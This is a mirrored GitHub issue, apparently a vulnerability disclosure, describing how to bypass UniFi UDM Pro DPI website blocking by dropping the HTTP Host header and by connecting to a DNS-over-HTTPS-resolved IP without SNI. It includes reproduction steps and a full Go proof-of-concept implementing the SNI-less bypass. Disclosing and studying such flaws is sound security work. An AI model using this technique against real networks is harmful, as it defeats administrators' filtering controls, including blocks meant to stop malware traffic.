GithubHelp home page GithubHelp logo

bug's People

Watchers

f1veT avatar

bug's Issues

Bypass ubnt&unifi&ubiquiti UDM PRO Network DPI block WebSite

[Suggested description]
This problem can make the administrator's protection against website restrictions, such as mining viruses, fail.
TEST:UDM pro
Web:7.2.95.0
Softversion:7.2.95

[Vulnerability Type]
incorrect access control

[Vendor of Product]
Unifi

[Affected Product Code Base]
unifi <= 7.2.95.0

[Affected Component]
Web DPI

[Attack Type]
Remote

[Impact Denial of Service]
true

[Impact Escalation of Privileges]
true

[Attack Vectors]
Describe the type of issue with as much detail as possible:
Network Open DPI Limit function ,Rule :Web services / Baidu。
bypass HTTP & HTTPS block
What are all the steps required to reproduce the issue (also include the name of tools/scripts necessary to reproduce the issue)?
1、Set Block Rule

image

2、test for curl

image (1)

Bypass HTTP
3、UDM PRO DPI only check host。We can remove header in host。

image (2)

Bypass HTTPS
4、That check SNI Vul = www.baidu.com We change IP Send Get data pack.

image (3)

wirshark:

image (4)

package main

import (
    "crypto/tls"
    "crypto/x509"
    "fmt"
    "io/ioutil"
    "net"
    "net/http"
    "strings"
    "time"

    "github.com/tidwall/gjson"
)

func main() {

    domainapi := "https://1.1.1.1/dns-query?name=www.baidu.com"
    client2 := &http.Client{}
    req2, err := http.NewRequest("GET", domainapi, strings.NewReader(""))
    if err != nil {
        // handle error
    }

    req2.Header.Set("accept", "application/dns-json")

    resp2, err := client2.Do(req2)

    defer resp2.Body.Close()

    body2, err := ioutil.ReadAll(resp2.Body)
    if err != nil {
        // handle error
    }

    fmt.Println(string(body2))
    ipp := gjson.Get(string(body2), "Answer")
    ipp = gjson.Get(ipp.Array()[2].String(), "data")
    url := "https://" + ipp.String() + "/"
    //url := "https://www.cnblogs.com"
    hostname := "baidu.com"

    sni := false

    var serverName string
    if sni {
        serverName = hostname
    } else {
        // disable sending the ServerName by using an IP
        // see tls.Config.ServerName
        serverName = ipp.String()
    }

    client := &http.Client{
        // adapted from http.DefaultTransport
        Transport: &http.Transport{
            Proxy: http.ProxyFromEnvironment,
            DialContext: (&net.Dialer{
                Timeout:   30 * time.Second,
                KeepAlive: 30 * time.Second,
                DualStack: true,
            }).DialContext,
            ForceAttemptHTTP2:     true,
            MaxIdleConns:          100,
            IdleConnTimeout:       90 * time.Second,
            TLSHandshakeTimeout:   10 * time.Second,
            ExpectContinueTimeout: 1 * time.Second,
            TLSClientConfig: &tls.Config{
                ServerName: serverName,
                // bypass Go standard verification to use our own below (VerifyConnection)
                InsecureSkipVerify: true,
                VerifyConnection: func(cs tls.ConnectionState) error {
                    // adapted from the tls.Config.VerifyConnection example
                    // behaves just like the default verification,
                    // except for the overriden DNSName below
                    opts := x509.VerifyOptions{
                        // override the requested hostname with the server hostname
                        DNSName:       hostname,
                        Intermediates: x509.NewCertPool(),
                    }
                    for _, cert := range cs.PeerCertificates[1:] {
                        opts.Intermediates.AddCert(cert)
                    }
                    _, err := cs.PeerCertificates[0].Verify(opts)
                    return err
                },
            },
        },
    }
    resp, err := client.Post(url, "application/x-www-form-urlencoded", strings.NewReader(""))
    if err != nil {
        fmt.Println(err)
        // handle error

    }

    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)

    if err != nil {
        fmt.Println("error2")

        // handle error

    }

    fmt.Println(string(body))
    fmt.Println(ipp.String())
}

[Reference]

https://xlab.tencent.com/cn/2021/05/14/domain-borrowing/

https://attack.mitre.org/techniques/T1090/004/


[Discoverer]
[email protected]

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.